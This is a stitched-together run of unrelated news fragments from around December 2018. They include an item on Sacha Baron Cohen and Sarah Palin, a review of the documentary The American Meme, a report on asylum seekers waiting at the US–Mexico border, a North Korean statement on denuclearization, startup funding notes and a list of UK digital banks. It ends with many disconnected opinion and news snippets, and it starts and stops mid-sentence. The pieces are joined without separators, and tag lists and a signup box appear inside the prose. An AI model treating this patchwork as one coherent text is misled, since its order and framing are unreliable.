Moore or Georgia congressman Jason Spencer. In an interview with Deadline on Wednesday, Cohen confirmed that his sit-down with the former vice-presidential candidate was sadly not Who Is America?worthy. The upsetting answer is, I dont think you missed much, he explained. There was a lot of pressure on me from the channel to put out Palin. And obviously, she did the only publicity for the show because I did zero interviews. There was no other publicity at all for the show. Thanks to her, people knew that the show was coming. But ultimately, I looked at the footage and it just wasnt funny enough. As you might recall, Palin was credited as Special Publicity Consultant (Inadvertent) in the shows season finale, the role every former or current politician prays theyll land in a SBC project. For the pieces to be good, there has to be a good comic dynamic, Cohen continued. She was just delivering these kind of rote answers, as if she was doing a campaign speech. And even though I sat with her I think for about two-and-a-half hours, there was no comedy gold. Paris Hilton and Josh Ostrovsky. Photo: Bert Marcus Productions The American Meme basically amounts to an entertaining missed opportunity. Bert Marcuss documentary promises to delve into the world of internet fame and celebrity culture, and it comes back with some pretty good stories about, and even some occasionally poignant insights into, the lives of those whove turned social media into the arena for their own commodification and glorification. But it offers little else beyond that which, if youre making a movie about one of the most pervasive cultural phenomena of our time, is not enough. Marcuss film features extended interviews with a few of the more pervasive internet celebrities of recent years. Although they share the giftslashcurse of virality and their near-constant presence on many of the same social-media platforms (be it Instagram, or Twitter, or the late Vine), they each seem to have a somewhat different appeal. Josh Ostrowsky, a.k.a. the Fat Jew, traffics in baroquely snarky stunts and imagery, often exploiting his own body as a way to mock and indulge the world around him. Brittany Furlan, who reached stratospheric levels of Vine celebrity before quitting the platform, is a somewhat more classic comedian she uses her medium well, but I could imagine her impressions and short videos easily working in a more typical sketch-comedy format. Kirill Bichutsky basically goes to nightclubs and photographs himself pouring Champagne all over womens faces and nether regions, and that is apparently a thing one can do for a living. Ive spent a lot of time on social media over the years, but Ive managed largely to steer clear of most of these folks, so I actually enjoyed hearing them tell their stories but I can also see how someone whos already had their fill of people like the Fat Jew or the Champagne-facial guy might want to run screaming from a movie like this. And then, of course, theres Paris Hilton. Shes certainly a lot less ubiquitous than she used to be I feel like I havent heard about her in ages but as the Fat Jew himself puts it, She set the precedent for everybody in this likes-on-the-internet driven world. Of course, Hilton is one of the films executive producers, which may explain why she figures so prominently in The American Meme. But as we watch her travel the world, meeting and greeting her many fans, she also seems to be surprisingly zen about the phenomenon of online celebrity. While the other celebs reveal that they often wonder what exists on the other side of their extended 15 minutes, and suggest that the emptiness of this kind of adulation is not beneficial to the soul, Paris merely enjoys the cultlike devotion of her faceless audience. You realize that if Paris Hilton didnt exist, the internet would have had to create her. And for all we know, it did. How these folks deal with fame also varies somewhat. Hilton was born into wealth and the public eye, so for her, its just the pleasant background of her existence. Furlan, for all her embrace of the exhibitionist quality of social media, and her energetic, inventive brand of humor, seems tormented by loneliness and self-loathing, despite all the likes she gets. (How about I like myself? Thatll actually be a challenge, she remarks bitterly at one point.) For his part, Kirill already seems thoroughly disgusted with the fact that all anyone expects of him is to party like a madman and humiliate them on camera. The Fat Jew, meanwhile, doesnt appear to have an earnest bone in his body. Even the Instagram plagiarism scandal that once seemed to derail his career just gets passed off as the cost of doing business. It needed a face, and they put the face on me, he shrugs. I kept waiting for someone in this film to talk about the value of connecting with other souls in a universe that is largely empty or uncaring but theyre all too self-aware for that. The movie engagingly explains how these individuals became popular, and runs through a hit parade of some of the more notable points in their respective trajectories. But it misses the point of why the landscape was so open to them in the first place why we have this need for interaction and validation, and why were so in thrall to the whirligig of attraction and repulsion, of discovery and destruction, that seems to dominate our current understanding of what it means to be somebody in this world. The American Meme can be fun, even informative, but theres a bigger story here, and Marcus mostly fails to tell it. As the sun dipped toward the horizon on Thursday, Kevin Ajtun, 16, hunched slightly and pulled his fake leather jacket tight. It was far colder on the US border than on the small farm he and his father had left near Mazatenango, in southern Guatemala, 22 days earlier. There, they grew beans, tobacco, corn and peanuts. An ongoing drought and low crop prices had made life hard, but it was the repeated robberies by a criminal gang of their meager earnings -- "every time we sold our crops at market," said the soft-spoken teenager -- that pushed them to join the streams of migrants going north to apply for asylum in the United States. "But now, there are so many people waiting," he said. He and his father had been in Nogales a week, among some 150 migrants, many families with children, waiting to be allowed to make their claims. Border control Continents and regions Donald Trump Government organizations - US Immigration Immigration, citizenship and displacement International relations International relations and national security Latin America Mexico National security North America Political asylum Political Figures - US Territorial and national borders The Americas Undocumented immigrants United States US Customs and Border Protection US Department of Homeland Security US federal departments and agencies US Immigration and Customs Enforcement Customs and Border Protection officials have said for months that surging asylum claims have overwhelmed ports of entry along the border. That, they say, has left them no choice but to turn back thousands of migrants, who then face waits of weeks or months. "We do not have the capacity and capability to address" the flow of asylum seekers, Department of Homeland Security Secretary Kirstjen Nielsen told the Council on Foreign Relations in November. A September report by Homeland Security's Office of Inspector General observed that the turnbacks and long waits are pushing asylum seekers to take the deadly risk of crossing illegally in the desert. In recent weeks, Border Patrol has apprehended what they say are unusually large groups of men, women, and children traversing the isolated areas between ports to seek asylum. On December 8, a 7-year-old Guatemalan girl named Jakelin Amei Rosmery Caal Maquin died of dehydration in Border Patrol custody after she and her father were picked up in a group of 163 migrants who'd crossed illegally near Antelope Wells, New Mexico, a particularly remote stretch of the border. Her death remains under investigation. But critics and government watchdogs say there is little evidence that the turnbacks happen only when ports of entry are at capacity, and some believe asylum seekers like Ajtun are being held back for other reasons. The Center for Constitutional Rights, the Southern Poverty Law Center and other human-rights groups are suing DHS, arguing that "the claims of a lack of capacity are false" -- part of a larger strategy by the Trump administration to keep asylum seekers out. On Monday, the ranking Democrats on the House Judiciary and Homeland Security committees and immigration subcommittee sent a letter to CBP Commissioner Kevin McAleenan, asking him to explain comments that appear to confirm the agency is turning back asylum seekers by choice rather than out of necessity. The letter, first reported by Buzzfeed, said that at a closed December 6 briefing, acting assistant commissioner Jud Murdock told congressional staffers that DHS had chosen to limit processing at ports of entry to 100 asylum seekers a day because the "more we process, the more will come." CBP declined requests for an interview with Murdock, but emailed a statement that his comments "were taken out of context" and reiterated that the system had hit capacity. "As more people are processed, the capacity challenges increase, and become unsustainable. Additionally, the many advocacy organizations that help illegal aliens as they go through the immigration process, have also reached capacity. The reality is that unless Congress responds to our repeated requests for additional resources and to address pull factors for illegal immigration, we will continue to experience capacity challenges." On December 10, CBP for the first time released figures showing asylum claims on the southern border for the last two fiscal years. Just under 93,000 people made claims for the year ending September 30: nearly 55,000 to Border Patrol agents by people who crossed illegally, and 38,269 by people who presented themselves at ports of entry. CBP's 2018 figures showed a 67% increase in asylum claims along the Mexican border from the previous year, and a 121% rise at the ports of entry. But it isn't clear why the volume either year should strain CBP's capacity. This past year's influx works out to an average of 105 asylum seekers a day across the entirety of the two dozen ports on the southern border. At just one port of entry, San Ysidro, on the line between Tijuana and San Diego, CBP can process up to 100 asylum seekers a day, officials have said. That site has seen the largest backlog of migrants by far, with a queue in recent weeks of more than 5,000 people awaiting entry on the Mexican side, in often squalid conditions. Two Honduran teens staying at a migrant shelter in Tijuana were murdered on Saturday, the Honduran Foreign Ministry said. CNN crews visiting one makeshift camp in late November found hopeful asylum seekers living amid mud, open sewage, sickness, and piles of trash. "It doesn't seem like a number that's outside their capacity," said Kennji Kizuka, a senior researcher at Human Rights First, a New York-based nonprofit that sent legal monitoring teams to track asylum claims in San Ysidro and other parts of the border in November and December. "They can't justify the restrictions they've placed based on these numbers." The government's own watchdog reports have similarly cast doubt on the notion that the ports are at capacity. In September, a report by Homeland Security's Office of Inspector General noted that its inspectors didn't see severe overcrowding at CBP facilities at the entry points they had visited in prior months. However, the report also noted that inspectors "did not observe CBP turning away asylum-seekers while there was available space." The immigration flow can vary dramatically, of course. Caravans can bring hundreds of asylum seekers to one place over a few days. But the agency hasn't just turned people back at isolated ports for short times during a surge. It has choked off the flow of asylum seekers into the country borderwide, with timing that suggests a more political motivation. Along at least some parts of the border, CBP has been triaging the flow of asylum seekers since days after Trump won election, while Obama was still in office. Excerpts of internal emails obtained as part of the capacity issue lawsuit show that, as early as November 12, 2016, CBP officials advised port directors to meet with their counterparts in Mexican immigration "and request they control the flow of aliens to the port of entry." But asylum cases for the country overall, including specifically ones that originated at ports of entry, actually went down in the fiscal year that started in fall 2016, according to US Citizenship and Immigration Services -- the year in which CBP began turning people back and claiming capacity issues. Some at CBP have pointed to ICE facilities, where asylum seekers may be moved after processing at the ports of entry and which have limited space for children and families, as a source of the bottleneck. Pete Flores, CBP's director overseeing San Ysidro, said in a press conference last month, "The biggest challenge is ICE detention facilities, which are above capacity." But one ICE official in San Diego told CNN that because the families are being processed and often released directly to the community, "the bed space capacity at ICE family detention facilities has no bearing on the backlog at the port of entry in San Ysidro." In any case, said Melissa Crow, an attorney for the Southern Poverty Law Center, the law requires the government to allow all those seeking asylum to make their claims even if their numbers have swelled. "We would never advocate that every person at the border is entitled to asylum. But the law says anyone who expresses desire to seek asylum has to be interviewed," Crow said. "The government can't arbitrarily decide to close the border or turn them away because there are too many of them." CBP officials declined repeated requests for interviews on the asylum backlog. A spokesperson provided a statement that read, in part: "The number of inadmissible individuals CBP is able to process varies based upon case complexity; available resources; medical needs; translation requirements; holding/detention space; overall port volume; and ongoing enforcement actions. No one is being denied the opportunity to make a claim of credible fear or seek asylum. CBP officers allow more people into our facilities for processing once space becomes available." At the port of entry in Nogales, migrants waiting on Thursday said they had seen from six to 10 people a day allowed in. Earlier this year, the port had taken as many as 20 migrants daily, said Joanna Williams, a director at the Kino Border Initiative, a Catholic nonprofit that runs some migrant services there. "I really don't see why they can't maintain that pace," Williams said. "We have had multiple days in a row this fall no one was processed at all into the port. But the numbers are not that different than in the past." Standing within sight of the border wall in Nogales on one evening last week, the father of one family of eight that had arrived there a day earlier seemed at once desperate and clear-eyed. Like many migrants, several of his children were coughing and sniffling from colds picked up in the crowded shelter. They had fled a small town in Guerrero, in southern Mexico, after a criminal gang dispossessed them of their farm and beat the father severely, he said. He asked that their names not be used out of fear for the family's safety should they be forced to return. "We had a lot of conversations about what to do," he said, nodding at his wife. "The criminals wanted all we had -- and they wanted our children to work for them. They beat me for saying no." What about the police? He laughed bleakly. "They'll turn you right over." He'd heard about families being separated in the United States. "I'm really worried about losing the children if we get asylum," he said. "But they will kill us if we go back." One of his sons, 17, listening to our conversation, nodded. "We can't go back there," he said. They plan to wait, as long as they must. That, too, was the plan of Kevin and his father, Reymundo Ajtun, who had arrived in Nogales to apply for asylum a week earlier. Mexican officials stopped them short of the US port, gave them a number, and told them to wait. Kevin said he hoped their turn would come soon. (CNN) -- North Korea will not relinquish its nuclear weapons until the US eliminates its own "nuclear threat," according to a commentary published by state-run Korean Central News Agency (KCNA). "The proper definition of denuclearization of the Korean Peninsula is completely eliminating the American nuclear threat to North Korea before eliminating our nuclear capability," the commentary says. The US and North Korea are deadlocked in negotiations over how Pyongyang will denuclearize in return for the easing of sanctions. On June 12 in Singapore, North Korean leader Kim Jong Un and US President Donald Trump signed a vaguely worded pledge to "work toward complete denuclearization of the Korean Peninsula." However, in the six months since, talks have stalled and North Korean criticism of the US has sharpened, though Pyongyang has continued to heap praise on Trump. The commentary published Thursday suggests one obstacle in the negotiations could be US military assets based in South Korea and the protection of South Korea under the US nuclear umbrella. Secretary of State Mike Pompeo said Thursday that we "still are working through the execution of Chairman Kim's commitment to denuclearize," but insisted the US is "undoubtedly" in a better situation with Pyongyang than it was a year ago. "Undoubtedly," Pompeo said when asked by Kansas radio station KNSS. "No more missiles being tested, no more nuclear testing. We're in a better place today." Pompeo noted that he's traveled to North Korea "now, oh goodness, three or four times. We'll continue to have meetings, and we are hopeful that in the new year President Trump and Chairman Kim will get together not too long after the first of the year and make even further progress on taking this threat to the United States away from us." Asked about the presence of nuclear weapons on the peninsula, a US defense official said "we do not discuss the location of nuclear weapons; however, in the early '90s, President George H. W. Bush announced the withdrawal of all naval and land-based tactical nuclear weapons deployed abroad." The KCNA commentary said that "when talking about the Korean peninsula, it encompasses not only our republic's territory but also South Korea where the American nuclear weapons and armed forces for invasion are spread out. When talking about denuclearization of the Korean peninsula, [the US] needs to know that it means eliminating all nuclear threat factors." 'All neighboring areas' The statement also says the US push toward the total denuclearization of the Korean Peninsula should include the removal of nuclear threats from "not only the North and the South, but from all neighboring areas." North Korea has repeatedly refused US calls for it to unilaterally denuclearize, branding Washington's demands a "delusion." The commentary states that if North Korea gives up its nuclear weapons, rather than lead to denuclearization it would render North Korea a "defenseless state" where the "balance in nuclear strategic strength is destroyed" and the "crisis of a nuclear war is brought forth." KCNA instead called on the US to implement the measures that North Korea has asked of Washington, which it said would not be difficult to "commit to and carry out." These actions include ending the US' "hostile policies" toward North Korea and halting "unjust sanctions." "It is obvious that denuclearization of the Korean Peninsula is a joint business that cannot be achieved unless both Korea and the United States strive tougher," the commentary states. However, Trump and Secretary of State Mike Pompeo have rejected calls from China, Russia and North Korea itself for the US to lift sanctions on the isolated state until further progress is made toward denuclearization on the Korean Peninsula. It has also rejected suggestions it intends to reduce its military presence in the region as part of any deal with Pyongyang. Despite this, Trump announced in June that he intends to halt large military exercises conducted alongside South Korea in the region. It is now possible a second summit with Kim will be held in the new year to clarify the exact definition of denuclearization, after Trump stated in early December that one is likely to be scheduled for January or February. US national security adviser John Bolton also said in early December that a second summit should be held, as North Korea has not lived up to its commitments. "They have not lived up to the commitments so far," he said at The Wall Street Journal's annual CEO Council conference in Washington. "That's why I think the President thinks that another summit is likely to be productive." US State Department spokesman Robert Palladino said Tuesday that the US "remains confident" about the push toward denuclearization, and that the US looks forward to the "commitments that Chairman Kim and President Trump have made." CloserStill Media, a London, England, UK-based independent organizer of trade shows and events, received an a majority investment from Funds advised by Providence Equity Partners. Providence acquired a stake from Inflexion Private Equity, NVM Private Equity and management. Phil Soar and Phil Nelson, co-founders of CloserStill, as well as the broader management team, will remain major shareholders alongside Providence. Financial terms of the transaction were not disclosed. Founded in 2008 and led by Philip Soar, Chairman & CEO, CloserStill is an exhibitions business, operating a portfolio of global brands in the technology, learning and healthcare sectors. Flagship events include the London Vet Show, Cloud Expo Asia, Data Centre World, The Pharmacy Show, Learning Technologies and The Dentistry Show. Today, the company has a team of over 270 employees across a global network of offices in London, Paris, New York, California, Berlin, Singapore and Hong Kong. FinSMEs 20/12/2018 There are just nine days left for the Alabama Board of Pardons and Paroles to meet Governor Kay Ivey and Attorney General Steve Marshalls demands for a complete overhaul to the system. Marshall said that if the board doesnt have a sufficient plan, he and the governor will take whatever action they see necessary. Families say the time is here for that. "I expect to fight, because I expect them to mess up again. It's their pattern," said Tonia Bass, whose brother, Bryan Hutto, was murdered in 2010. In order to have parole board members removed, it would take impeachment processes or a court order. "Absent the grounds for impeachment, parole board members can't be removed, and I think that limits the authority of the governor and the legislator to have oversight over that particular agency," Marshall said. Alabama law also provides a second option. If the governor believes a board member is incapable of doing their job, she can request the attorney general to move forward with an inquisition. A circuit court judge in Montgomery could then rule a board member physically or mentally incompetent and deem the member's position vacant. The WAAY 31 I-Team began investigating the board after it paroled a career criminal, Jimmy Spencer. He was serving a life sentence and was disciplined dozens of times while in prison. Hes now charged with killing three people after breaking terms of his parole several times between January and July. "I think the Spencer case highlights everything that is currently wrong with the current set up," Marshall said. "When we see that he [Spencer] is sent to a different place than the parole board initially intended. When we find out that he leaves that facility, but yet no notification, or at least action is taken on behalf of the individual responsible for supervision. Then we see law enforcement contact, in which under the current system criminal history information would be sent directly to the person supervising to know whether or not to be able to revoke that persons opportunity to be out on the streets. Nothing took place to stop what was an extremely tragic act for three innocent victims who have now lost their lives." A former parole board member, Bobby Longshore said he doesn't believe board members have done anything to warrant removal but said there is a third option if the attorney general and governor want to remove parole board members. "The governor, as the appointing authority, could ask for their resignation," he said. Endostart, a Certaldo (Florence, Tuscany Italy)-based startup aiming at reducing endoscopic procedures complexity, raised 1m seed financing. The round was led by Panakes Partners with participation from Estor, A11 Venture and business angels. The company intends to use the funds to develop an entire new family of devices based on ferrofluid and magnetic fields. Endostart is advancing Endorail, an endoscopic magnetic guidewire able to guide a colonoscope along the colon, avoiding incomplete colonoscopies. Endorail is composed by a balloon guidewire, a ferrofluid prefilled syringe and an external magnet. This technology is also supposed to reduce the procedural time of most colonoscopies while potentially reducing patient pain and discomfort as well as healthcare related costs. The founding team of Endostart is composed by Alessandro Tozzi MD, specialist in Gastroenterology, Hepatology and Digestive endoscopy, who resigned from his previous position as medical director at Nuovo Ospedale San Giuseppe, Empoli to commit to Endostart development and serve as CEO to the company, and Alberto Bruni, president of Special Electronic Design Srl, who provides extensive experience in business administration and finance. Panakes investment allows the founding team to be supported by a number of advisors with relevant experience: Lukas Guenther (former Investment Director, Wellington Partner), Oliver Hofmann (former Senior Investment Manager, Inventages Ventures) and Barbara Castellano (Principal, Panakes Partners) will serve as non-executive directors, while Diana Saraceni (co-founder and General Partner at Panakes Partners) will be Chairman. FinSMEs 20/12/2018 Malta, Inc., a Cambridge, Massachusetts-based developer of electro-thermal energy storage system, raised $26M in Series A funding. The round was led by Breakthrough Energy Ventures with participation from other Concord New Energy Group and Alfa Laval. Malta, which started at X, Alphabets Moonshot Factory, is now an independent company outside of Alphabet called Malta Inc. Led by Ramya Swaminathan, CEO, Malta Inc. is advancing system that stores energy in the form of a thermal differential between hot and cold storage media. It is based on well-established principles in thermodynamics for a system that stores electricity as heat in high temperature molten salt and cold in a low temperature antifreeze liquid. The system can store electricity for days or even weeks, until its needed. The electricity can come from any source (i.e. wind, sun, or fossil fuels) in any location. The company will work in collaboration with industry partners to turn the detailed designs developed and refined at X into industrial-grade machinery for its first pilot system. FinSMEs 20/12/2018 The process that aims to improve the productivity and the customer experience of the financial industry, and to facilitate access to services for billions of people throught the opportunities given by the latest technologies is not in its infancy. Anyways, it is still far from being completed. The experience of the latest years tells us that fintech startups are both: challenging incumbents offering improved products and facilitating access to them; collaborating with incumbents to improve their processes, their productivity and finally, their products. A clear example of how fintech is disrupting the traditional industry in a dynamic way comes from the UK, where the brexit process (and a fierce political debate) is underway, bringing uncertainty in several aspects of the life and future of citizens and companies. In this scenario, there are several startups who are working to try to improve the access to and the quality of banking products and services. In many cases, they started offering a digital current account and are now evolving to get licenses to provide everything peopled expect from a bank. According to a recent report, mobile banking will continue to grow, expecting there to be 35 million mobile users in 2023, a sizeable 72% of the UK adult population. In this article, we want to propose the startups woking as new banks to watch in 2019. We only consider the companies bringing traditional banking services to the digital and mobile world as their core business, and excluding those offering single features such as saving apps, money transfers, and spending solutions, among others. Lets now have a look at the list: Revolut Revolut started with an application and a card that allow users to spend, change and transfer most of the worlds currencies at a stock exchange rate without commissions of the payment systems. Over time, the company launched platforms for insurance, lending, trade in crypto-currencies and began to serve legal entities. Revolut has just got a European banking licence by the European Central Bank, which will help it build a global financial platform that provides access to all necessary financial services anywhere in the world. Since July 2015, Revolut has raised $340m in funding from several investors including Index Ventures, Balderton Capital, Ribbit Capital and DST Global. The company passed the break-even point in December 2017. Monzo London based Monzo is building a new kind of bank, in their words, a bank that lives on your smartphone and built for the way you live today. It currently offers a current account and a debit card to more than one million customers to manage their money and spend them around the world. Founded in early 2015, the bank relies on a community of users suggesting features, testing the app and giving constant feedback and a team of over 300 people. It is authorized in the UK by the Prudential Regulation Authority (PRA) and regulated by the Financial Conduct Authority and the PRA. The company recently raised Monzo 85m in venture capital, which pre money valued it at 1 billion, and 20m in crowdfunding via Crowdcube. Atom Bank Durham, UK-based Atom Bank secured its banking license in June 2015 and launched operations in April 2016, offering Fixed Saver accounts and secured business lending for SMEs. Built for the mobile, Atom launched its first mobile mortgage product in December 2016 and has taken over 1.7bn of deposits and lent over 2bn to small businesses and homeowners to date. The app offers a 24/7 support team to help with any customer queries through phone, chat, email and social media. Led by CEO Mark Mullen, the company has raised almost 400m of equity capital through the support of private and institutional investors, including BBVA, Woodford Investment Management and Toscafund Asset Management. It has around 300 permanent employees. Tandem Tandem is a London, UK-based digital bank offering an app for people to manage money, which automatically shows how much they can spend each month, alerts when it notices bills increase or a payment comes in, and helps reduce bills by finding better deals to save money. In addition, the company recently acquired Harrods Bank to launch a cashback credit card and two fixed term savings accounts, all managed by their app. Led by CEO Ricky Knox, Tandem Bank Limited is regulated by the Prudential Regulatory Authority and the Financial Conduct Authority and is currently only available to UK customers with an ambition to expand internationally. Starling Bank Starling Bank is a London-based mobile-only bank providing current accounts, business banking, and a payments service for merchants. Founded by former Allied Irish Banks COO, Anne Boden, in January 2014, and also led by Megan Caywood, Chief Platform Officer, Starling Bank recently launched an in-app Marketplace for small businesses with partners including accounting software platform Xero, followed by insurance providers Zego and Nimbla, and funding providers Growth Street and Funding Options. The Marketplace followed the expansion of its retail Marketplace, which includes products across loyalty and receipts, savings and investments, mortgages, and insurance. Digital receipts provider Flux and discount and loyalty provider Tail are available in both the retail and business Marketplace for Starling customers. Starling is a licensed and regulated bank which received 48m ($70m) in funding at the beginning of 2016. Monese Started as the UKs first 100% mobile current account provider, Monese now operates in 20 countries across UK & Europe. With over 600,000 sign-ups, the companys app instant access to financial services for moving people. Its product is powered by proprietary technology that conducts deep KYC (Know Your Customer) checks globally in real time. This enables the creation of an account in as little as 120 seconds regardless of citizenship, proof of address or credit history, and allows Monese to serve a diverse set of internationally mobile customers currently underserved by traditional financial institutions. In 2018, they recently launched Monese Business for companies tomanage their finances. In September, the company, which employs 140 people across its offices in London, UK, and Tallinn, Estonia, secured $60m in capital as part of its Series B funding led by Kinnevik, with participation from PayPal, European investor Augmentum Fintech and International Airlines Group for its loyalty and data business Avios Group Ltd and Investecs INVC Fund. Fire Fire provides business and personal customers with digital accounts and debit cards. People and businesses can open the accounts online and via their mobile apps, they can open multiple accounts in both sterling and euro, enabling bank transfers to and from any bank account in the UK or Eurozone. The startup also provides Mastercard debit cards. For reconciliation and automation of payments, businesses can also integrate their systems to the site via an application programming interface (API). Regulated since 2010 as a Payments Institution by the Central Bank of Ireland (C58301), Fire is led by Colm Lyon, CEO and founder and has offices in London and Dublin. Loot Loot provides a current account and a contactless Mastercard card, offering insights into spending with real-time notifications and transaction lists and personalized features to manage money such as the opportunity to set daily and weekly budgets, and to create tailor-made goals with a picture, date and amount to reach. It also has in app customer support. People can spend abroad using the live exchange rate and no added fees in over 210 countries. Transferwise International money transfer company TransferWise recently launched the borderless account, which allows people and companies to send and receive money and spend around the world. With the account, users get instant international bank details to receive money from over 30 countries around the world with zero fees. These personal details allows them to get paid from the UK, the US, Australia, New Zealand, and any country in the Eurozone. They can also spend the currencies in their account anywhere in the world with the TransferWise debit Mastercard, leveraging low conversion fees, and zero transaction fees. N26 Berlin, Germany-based N26 is a mobile bank with over 1.5 million customers across 18 markets (Austria, Belgium, Denmark, Estonia, Finland, France, Germany, Greece, Ireland, Italy, Latvia, Lithuania, Luxembourg, Netherlands, Norway, Poland, Portugal, Slovakia, Slovenia, Spain, Sweden and the UK) who generate over 1 billion in monthly transaction volume. The bank, which has just arrived in the UK, leverages a full banking license, latest technology and a no branch network, to redesign banking via its Android, iOS, and desktop apps. Co-founded by Valentin Stalf and Maximilian Tayenthal in 2013, the company launched the initial product in early 2015 and has announced to enter the US market in early 2019, where it will operate via its wholly owned subsidiary N26 Inc. based in New York. The company has raised more than $215m from investors including Tencent, Allianz X, Peter Thiels Valar Ventures, Li Ka-Shings Horizons Ventures, Earlybird Ventures, Battery Ventures, in addition to members of the Zalando management board, and Redalpine Ventures. The governments Department of Homeland Security painted a much different picture of the situation just a few weeks ago. It reported that the number of people arrested or detained along the Mexico border reached a new high for the Trump presidency in November, as arrests of juveniles and parents with children continued to rise. U.S. Customs and Border Protection detained 25,172 members of family units in November, the highest number ever recorded. He really disliked the Smithsonian being called the nations attic, she said. His legacy will be taking the first steps to making the Smithsonian relevant to future generations, to move the Smithsonian to have a dialogue on a level that is higher than the discourse we see, and be part of a conversation to move the country forward in a positive way. And Girl From the North Country is one of those enterprises worth visiting again, as I did, in the advanced stages of its run in the Publics Newman Theater. What I got from this second encounter with the American version of the show which I had seen in its original incarnation in London was a deeper appreciation of the profound effect that casting American actors in its 17 roles has had on the work. And of the achievement of one actor in particular, whose contribution has not only established her as a major musical theater talent, but also helps make the case for wider exposure of the musical in this country. Todays Headlines The most important news stories of the day, curated by Post editors and delivered every morning. Email address By signing up you agree to our Terms of Use and Privacy Policy Five years ago, Sandberg described her book as a "sort-of feminist manifesto," and her words resonated far and wide. "Lean In" became entrenched in the vernacular, spawning a social movement that took off across the country and the world, with tens of thousands of Lean In "circles" of women who met regularly to discuss and implement Sandberg's guidance. The book itself offers a more nuanced look at the challenges women face, but Sandberg's message was often distilled to its simplified, can-do essence: If a woman works hard enough, and asserts herself enough, she can thrive at home and at work. Nor is Fox News likely to suffer financially from the fallout over Carlson. The network has moved advertisers that have objected to Carlsons rhetoric to other programs throughout the day. This entails no loss of revenue for Fox, because of the way commercials are purchased on cable news networks. Most cable-news advertisers buy ads in bulk, in a package that ensures their commercials will reach an agreed-upon number of viewers. This arrangement enables Fox News to fulfill its commitments whether an ad airs during Carlsons program or at some other time. I have taken my fair share of trips that went sideways, too. This year, they included dealing with an eccentric Airbnb host who demanded that we feed her cat and then told us that by renting her house in Colorado Springs, we had left her homeless. That experience made me a little more cautious about the sharing economy. Then, another host, in St. Louis, this time on VRBO, blindsided me when she withdrew an offer to rent to me this summer. She said shed found a better offer. That made me even more cautious about the sharing economy. The hospital said it needed to close because it had been struggling financially and maintained that Washingtonians had enough options for acute care at other hospitals and facilities. In filings with the city, the hospital said it had lost $145 million over the past decade and cited a competitive market, declining patient volumes and aging facilities as factors. Educators like us who are trying to meet the unique and challenging social, emotional and academic needs of an extremely vulnerable population of children are always looking for new options to best serve a small number of students when our residential setting is no longer the right fit for them at a specific time, Bloomfield wrote in an email. We wish there were more interim and also long-term options that are being offered for parents and caregivers and advocates to consider when children present a danger to themselves or others. Free and fair elections are the very foundation of American democracy and the most basic promise that those in power can pledge to the citizens we represent, Hogan said in a statement. This nonpartisan redistricting commission will result in a fair, open, and transparent redistricting process for the sixth congressional district. We dont know if this is an uptick or if legislators were on their best behavior last year, said Kelly, who wrote a column in The Washington Post a year ago that described being grabbed and humiliated by male colleagues in her early days as a lawmaker. Im just thankful that we have the data and look forward to continued improvements. Although Plaintiffs believe public sensibilities have changed to the point of ready acceptance by the public of bare-breasted females in public other than for breast-feeding infants they failed to counter the quite convincing evidence presented by Ocean City to the contrary, U.S. District Judge James K. Bredar wrote in his denial of a preliminary injunction made public Thursday. That does not mean that public sensibilities recognized today will always be regarded as appropriate but, for now, the Court has seen no evidence that public sensibilities are not what Ocean Citys representatives say they are in the ordinance. Suddenly, Phillips came up from behind and started choking Grinage until she passed out, she testified. When she regained consciousness, she found herself wet on the floor and lying on her stomach, she said. Phillips offered to take her to the hospital but told her to clean up in the bathroom, she testified. Foster knew the rules. In 2012 he tried to bring a leopard-skin rug into the country only to see it seized by the U.S. Fish and Wildlife Service. When he tried to get it back, he instead was given a detailed list of the wildlife products that cant be brought into the country, according to court records. A Washington Post analysis earlier this year found that more than 7 million people nationwide may have had their drivers licenses suspended for failure to pay court or administrative debt, a practice that advocates say unfairly punishes the poor. A spokeswoman for the Virginia Department of Motor Vehicles said 626,537 drivers had their licenses suspended as of Dec. 1 for failure to pay such costs. If youre going to have leasing at all, which I dont think we should be doing, the idea of closing it during the most sensitive times is good, said Tim Fullman, a wildlife ecologist at The Wilderness Society. The question is will you actually stick to that or have they written in loopholes so that they can evade that if they really wanted to. This lawsuit became a rallying cry for the conservative base. But now, with the breadth of the judges decision, it might be as much of headache as a rallying cry, said Larry Levitt, senior vice president for health reform at the Kaiser Family Foundation, a nonpartisan health policy group. If this decision is upheld, then were right back into a massive national debate on the future of the ACA, and that would hijack anything else the Trump administration wanted to do on health care or anything the Trump administration wanted to do, for that matter. LiveOnNY appears to be particularly bad at this part of the job, industry experts say. The group has consistently failed to meet federal performance standards adopted in 2010, records show, and federal officials moved to shut it down in June. LiveOnNY is the first of the nations 58 organ procurement organizations, or OPOs, to face such severe sanctions in more than a decade. U.N. food program to cut services to Palestinians: The United Nations' World Food Program said it will cut services to nearly 200,000 Palestinians in the West Bank and the Gaza Strip because of a lack of funding. The WFP said it needs an extra $57 million to continue providing for 360,000 impoverished Palestinians in 2019. The Palestinians faced major budget cuts this year after the United States slashed funding for the United Nations' Palestinian refugee program and for programs run in the Palestinian territories by the U.S. Agency for International Development Britain remains more complicated, but the basic story is that every time the country comes close to actual Brexit, it pulls back, appalled by the costs. Prime Minister Theresa May has tried to do a soft Brexit, and while the compromise has earned her the scorn of the hard-line Brexiteers, they cannot topple her. Perhaps they dont want to because then they would be saddled with Mays impossible task. Proponents of Brexit sold the country a fantasy that it could get the benefits of access to the European Unions market without the costs of having to obey its rules. As time passes, more and more Britons are coming to realize that they cannot have their cake and eat it, too. Whats even more tragic is that the U.S. government was in the middle of negotiations with the Russians over of the fate of the Rukban camp when Trump announced his new policy. At an event Monday, James Jeffrey, the State Departments special representative for Syria engagement, said that the United Nations was about to circulate a new plan to set conditions for the next aid convoy, which has already been delayed. But none of that evidently mattered in the end to Trump. He was elected to end wars in the Middle East, even successful ones. On this, as with so many issues, he was determined to fulfill his campaign promises, consequences be damned. His Syria decision was opposed, near as I can tell, by the Pentagon, the State Department and key regional allies. Trump did it anyway. Will it make a difference if Mueller reveals corrupt business dealings between Trump-owned companies and Russian oligarchs? It certainly helps explain why Trump was an obvious politician to favor. He holds the oligarchs view of business integrity. He supports the oligarchs view of economics, in which outcomes are determined by family-run cartels that have taken over the levers of government. But unless Russian intelligence is actually blackmailing Trump, Im not sure that suspicious, or even corrupt, dealings with the oligarchs are unexpected. Trump has bragged about buying American politicians. He has bragged about using bankruptcy laws to exploit his investors. He has often argued: I played by the rules as I found them. Elected Republicans may place money laundering through real estate in the same category. What makes a person look up a word? There have been dictionaries of English for about 400 years, but only recently, with the introduction of online dictionaries, has it been possible to know which words are looked up in them. We probably all assumed that the answer was as clear as print on the page that we look up the hard words, the words we dont 